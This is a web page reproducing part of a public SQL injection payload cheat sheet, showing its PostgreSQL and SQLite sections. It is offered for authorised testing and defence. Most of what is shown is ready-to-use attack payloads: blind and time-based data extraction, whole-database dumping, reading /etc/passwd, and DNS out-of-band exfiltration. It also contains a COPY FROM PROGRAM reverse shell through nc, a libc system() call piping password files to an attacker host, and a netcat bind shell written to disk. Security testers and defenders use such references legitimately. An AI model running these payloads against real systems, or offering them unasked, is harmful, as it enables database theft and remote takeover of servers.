Skip to content

Payload topic

SQL Injection

SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on…

Passages
186
Bounty reports
of this class
186 passages
Contents
  1. SQL Injection
  2. Entry Point Detection
  3. DBMS Identification Keyword Based
  4. DBMS Identification Error Based
  5. Authentication Bypass
  6. Raw MD5 and SHA1
  7. Hashed Passwords
  8. UNION Based Injection
  9. Error Based Injection
  10. Blind Injection
  11. Boolean Based Injection
  12. Blind Error Based Injection
  13. Time Based Injection
  14. Out of Band (OAST)
  15. Stacked Based Injection
  16. Polyglot Injection
  17. Routed Injection
  18. Second Order SQL Injection
  19. PDO Prepared Statements
  20. Generic WAF Bypass
  21. No Space Allowed
  22. Alternative Whitespace Characters
  23. Bypassing with Comments and Parentheses
  24. No Comma Allowed
  25. No Equal Allowed
  26. Case Modification
  27. BigQuery Injection: Google BigQuery SQL Injection
  28. BigQuery Injection: Detection
  29. BigQuery Injection: BigQuery Comment
  30. BigQuery Injection: BigQuery Union Based
  31. BigQuery Injection: BigQuery Error Based
  32. BigQuery Injection: BigQuery Boolean Based
  33. BigQuery Injection: BigQuery Time Based
  34. Cassandra Injection: Cassandra Injection
  35. Cassandra Injection: CQL Injection Limitations
  36. Cassandra Injection: Cassandra Comment
  37. Cassandra Injection: Example #1
  38. Cassandra Injection: Example #2
  39. DB2 Injection: DB2 Injection
  40. DB2 Injection: DB2 Comments
  41. DB2 Injection: DB2 Default Databases
  42. DB2 Injection: DB2 Enumeration
  43. DB2 Injection: DB2 Methodology
  44. DB2 Injection: DB2 Error Based
  45. DB2 Injection: DB2 Blind Based
  46. DB2 Injection: DB2 Time Based
  47. DB2 Injection: DB2 Command Execution
  48. DB2 Injection: Avoiding Quotes
  49. DB2 Injection: DB2 Accounts and Privileges
  50. MSSQL Injection: MSSQL Injection
  51. MSSQL Injection: MSSQL Default Databases
  52. MSSQL Injection: MSSQL Comments
  53. MSSQL Injection: MSSQL Enumeration
  54. MSSQL Injection: MSSQL List Databases
  55. MSSQL Injection: MSSQL List Tables
  56. MSSQL Injection: MSSQL List Columns
  57. MSSQL Injection: MSSQL Union Based
  58. MSSQL Injection: MSSQL Error Based
  59. MSSQL Injection: MSSQL Blind Based
  60. MSSQL Injection: MSSQL Blind With Substring Equivalent
  61. MSSQL Injection: MSSQL Time Based
  62. MSSQL Injection: MSSQL Stacked Query
  63. MSSQL Injection: MSSQL Read File
  64. MSSQL Injection: MSSQL Write File
  65. MSSQL Injection: XPCMDSHELL
  66. MSSQL Injection: Python Script
  67. MSSQL Injection: MSSQL DNS exfiltration
  68. MSSQL Injection: MSSQL UNC Path
  69. MSSQL Injection: MSSQL Trusted Links
  70. MSSQL Injection: MSSQL List Permissions
  71. MSSQL Injection: MSSQL Make User DBA
  72. MSSQL Injection: MSSQL Database Credentials
  73. MSSQL Injection: MSSQL OPSEC
  74. MySQL Injection: MySQL Injection
  75. MySQL Injection: MYSQL Default Databases
  76. MySQL Injection: MYSQL Comments
  77. MySQL Injection: MYSQL Testing Injection
  78. MySQL Injection: Detect Columns Number
  79. MySQL Injection: Iterative NULL Method
  80. MySQL Injection: ORDER BY Method
  81. MySQL Injection: LIMIT INTO Method
  82. MySQL Injection: Extract Database With InformationSchema
  83. MySQL Injection: Extract Columns Name Without InformationSchema
  84. MySQL Injection: Extract Data Without Columns Name
  85. MySQL Injection: MYSQL Error Based
  86. MySQL Injection: MYSQL Error Based - Basic
  87. MySQL Injection: MYSQL Error Based - UpdateXML Function
  88. MySQL Injection: MYSQL Error Based - Extractvalue Function
  89. MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)
  90. MySQL Injection: MYSQL Blind With Substring Equivalent
  91. MySQL Injection: MYSQL Blind Using a Conditional Statement
  92. MySQL Injection: MYSQL Blind With MAKESET
  93. MySQL Injection: MYSQL Blind With LIKE
  94. MySQL Injection: MySQL Blind with REGEXP
  95. MySQL Injection: MYSQL Time Based
  96. MySQL Injection: Using SLEEP in a Subselect
  97. MySQL Injection: Using Conditional Statements
  98. MySQL Injection: MYSQL DIOS - Dump in One Shot
  99. MySQL Injection: MYSQL Current Queries
  100. MySQL Injection: MYSQL Read Content of a File
  101. MySQL Injection: WEBSHELL - OUTFILE Method
  102. MySQL Injection: WEBSHELL - DUMPFILE Method
  103. MySQL Injection: COMMAND - UDF Library
  104. MySQL Injection: MYSQL INSERT
  105. MySQL Injection: MYSQL Truncation
  106. MySQL Injection: MYSQL Out of Band
  107. MySQL Injection: DNS Exfiltration
  108. MySQL Injection: UNC Path - NTLM Hash Stealing
  109. MySQL Injection: Alternative to Information Schema
  110. MySQL Injection: Alternative to VERSION
  111. MySQL Injection: Alternative to GROUPCONCAT
  112. MySQL Injection: Scientific Notation
  113. MySQL Injection: Conditional Comments
  114. MySQL Injection: Wide Byte Injection (GBK)
  115. OracleSQL Injection: Oracle SQL Injection
  116. OracleSQL Injection: Oracle SQL Default Databases
  117. OracleSQL Injection: Oracle SQL Comments
  118. OracleSQL Injection: Oracle SQL Enumeration
  119. OracleSQL Injection: Oracle SQL Database Credentials
  120. OracleSQL Injection: Oracle SQL List Databases
  121. OracleSQL Injection: Oracle SQL List Tables
  122. OracleSQL Injection: Oracle SQL List Columns
  123. OracleSQL Injection: Oracle SQL Error Based
  124. OracleSQL Injection: Oracle SQL Blind
  125. OracleSQL Injection: Oracle Blind With Substring Equivalent
  126. OracleSQL Injection: Oracle SQL Time Based
  127. OracleSQL Injection: Oracle SQL Out of Band
  128. OracleSQL Injection: Oracle SQL Command Execution
  129. OracleSQL Injection: Oracle Java Execution
  130. OracleSQL Injection: Oracle Java Class
  131. OracleSQL Injection: Package oscommand
  132. OracleSQL Injection: DBMSSCHEDULER Jobs
  133. OracleSQL Injection: OracleSQL File Manipulation
  134. OracleSQL Injection: OracleSQL Read File
  135. OracleSQL Injection: OracleSQL Write File
  136. PostgreSQL Injection: PostgreSQL Injection
  137. PostgreSQL Injection: PostgreSQL Comments
  138. PostgreSQL Injection: PostgreSQL Enumeration
  139. PostgreSQL Injection: PostgreSQL Methodology
  140. PostgreSQL Injection: PostgreSQL Error Based
  141. PostgreSQL Injection: PostgreSQL XML Helpers
  142. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent
  143. PostgreSQL Injection: Identify Time Based
  144. PostgreSQL Injection: Database Dump Time Based
  145. PostgreSQL Injection: Table Dump Time Based
  146. PostgreSQL Injection: Columns Dump Time Based
  147. PostgreSQL Injection: PostgreSQL Out of Band
  148. PostgreSQL Injection: PostgreSQL Stacked Query
  149. PostgreSQL Injection: PostgreSQL File Read
  150. PostgreSQL Injection: PostgreSQL File Write
  151. PostgreSQL Injection: Using COPY TO/FROM PROGRAM
  152. PostgreSQL Injection: Using libc.so.6
  153. PostgreSQL Injection: Alternative to Quotes
  154. PostgreSQL Injection: PostgreSQL List Privileges
  155. PostgreSQL Injection: PostgreSQL Superuser Role
  156. SQLite Injection: SQLite Injection
  157. SQLite Injection: SQLite Comments
  158. SQLite Injection: SQLite Enumeration
  159. SQLite Injection: SQLite String Methodology
  160. SQLite Injection: SQLite Blind Methodology
  161. SQLite Injection: SQLite Blind With Substring Equivalent
  162. SQLite Injection: SQlite Error Based
  163. SQLite Injection: SQlite Time Based
  164. SQLite Injection: Attach Database
  165. SQLite Injection: Loadextension
  166. SQLite Injection: SQLite Read File
  167. SQLite Injection: SQLite Write File
  168. SQLmap: SQLmap
  169. SQLmap: Basic Arguments For SQLmap
  170. SQLmap: Load A Request File
  171. SQLmap: Custom Injection Point
  172. SQLmap: Second Order Injection
  173. SQLmap: Getting A Shell
  174. SQLmap: Crawl And Auto-Exploit
  175. SQLmap: Proxy Configuration For SQLmap
  176. SQLmap: Injection Tampering
  177. SQLmap: Suffix And Prefix
  178. SQLmap: Default Tamper Scripts
  179. SQLmap: Custom Tamper Scripts
  180. SQLmap: Custom SQL Payload
  181. SQLmap: Evaluate Python Code
  182. SQLmap: Preprocess And Postprocess Scripts
  183. SQLmap: Preprocessing Script (preprocess.py)
  184. SQLmap: Postprocessing Script (postprocess.py)
  185. SQLmap: Reduce Requests Number
  186. SQLmap: SQLmap Without SQL Injection

PostgreSQL Injection: PostgreSQL XML Helpers

SourceOn the Atlas
SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.

SELECT database_to_xml(true,true,''); -- dump the current database to XML
SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent

SourceOn the Atlas

| Function | Example | | ----------- | ----------------------------------------------- | | `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | | `SUBSTRING` | `SUBSTRING('foobar' FROM <START> FOR <LENGTH>)` | Examples:

' and substr(version(),1,10) = 'PostgreSQL' and '1  -- TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1  -- FALSE

PostgreSQL Injection: Identify Time Based

SourceOn the Atlas
select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

PostgreSQL Injection: Database Dump Time Based

SourceOn the Atlas
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

PostgreSQL Injection: Table Dump Time Based

SourceOn the Atlas
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1

PostgreSQL Injection: Columns Dump Time Based

SourceOn the Atlas
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL Injection: PostgreSQL Out of Band

SourceOn the Atlas

Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.

declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

PostgreSQL Injection: PostgreSQL Stacked Query

SourceOn the Atlas

Use a semi-colon "`;`" to add another query

SELECT 1;CREATE TABLE NOTSOSECURE (DATA VARCHAR(200));--

PostgreSQL Injection: PostgreSQL File Read

SourceOn the Atlas

NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [0fdc8495bff02684142a44ab3bc5b18a8ca1863a](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group. * Using `pg_read_file`, `pg_ls_dir` ```sql select pg_ls_dir('./'); select pg_read_file('PG_VERSION', 0, 200); ``` * Using `COPY` ```sql CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0; ``` * Using `lo_import` ```sql SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID SELECT lo_get(16420); -- use the OID returned from the above SELECT * from pg_largeobject; -- or just get all the large objects and their data ```

PostgreSQL Injection: PostgreSQL File Write

SourceOn the Atlas

* Using `COPY` ```sql CREATE TABLE nc (t TEXT); INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM nc; COPY nc(t) TO '/tmp/nc.sh'; ``` * Using `COPY` (one-line) ```sql COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; ``` * Using `lo_from_bytea`, `lo_put` and `lo_export` ```sql SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20 SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport ```

PostgreSQL Injection: Using COPY TO/FROM PROGRAM

SourceOn the Atlas

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`.

COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_DOMAIN_CALLBACK]';
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_DOMAIN_CALLBACK]'
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

PostgreSQL Injection: Using libc.so.6

SourceOn the Atlas
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

PostgreSQL Injection: Alternative to Quotes

SourceOn the Atlas

PostgreSQL offers several ways to construct string values without using standard single-quoted literals. The `CHR()` function can generate individual characters from their numeric character codes, which can then be combined using the concatenation operator (`||`). PostgreSQL also supports dollar-quoted strings, available since version 8, allowing text to be enclosed between `$$` delimiters without escaping embedded single quotes. | Payload | Technique | | --------------------------------------- | ----------------------------------------------- | | `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` | | `SELECT $$NoQuote$$` | Dollar-Quoted String ( >= version 8 PostgreSQL) |

PostgreSQL Injection: PostgreSQL List Privileges

SourceOn the Atlas

Retrieve all table-level privileges for the current user, excluding tables in system schemas like `pg_catalog` and `information_schema`.

SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');

PostgreSQL Injection: PostgreSQL Superuser Role

SourceOn the Atlas
SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

SQLite Injection: SQLite Injection

SourceOn the Atlas

> SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.

SQLite Injection: SQLite Comments

SourceOn the Atlas

| Description | Comment | | ------------------- | ------- | | Single-Line Comment | `--` | | Multi-Line Comment | `/**/` |

SQLite Injection: SQLite Enumeration

SourceOn the Atlas

| Description | SQL Query | | ------------ | -------------------------- | | DBMS version | `select sqlite_version();` |

SQLite Injection: SQLite String Methodology

SourceOn the Atlas

| Description | SQL Query | | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | | Extract Database Structure | `SELECT sql FROM sqlite_schema` | | Extract Database Structure (sqlite_version > 3.33.0) | `SELECT sql FROM sqlite_master` | | Extract Table Name | `SELECT tbl_name FROM sqlite_master WHERE type='table'` | | Extract Table Name | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'` | | Extract Column Name | `SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'` | | Extract Column Name | `SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');` | | Extract Column Name | `SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'` | | Extract Column Name | `SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')` |

SQLite Injection: SQLite Blind Methodology

SourceOn the Atlas

| Description | SQL Query | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Count Number Of Tables | `AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table` | | Enumerating Table Name | `AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number` | | Extract Info | `AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')` | | Extract Info (order by) | `CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END` |

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.

Updated AboutDevelopersSign in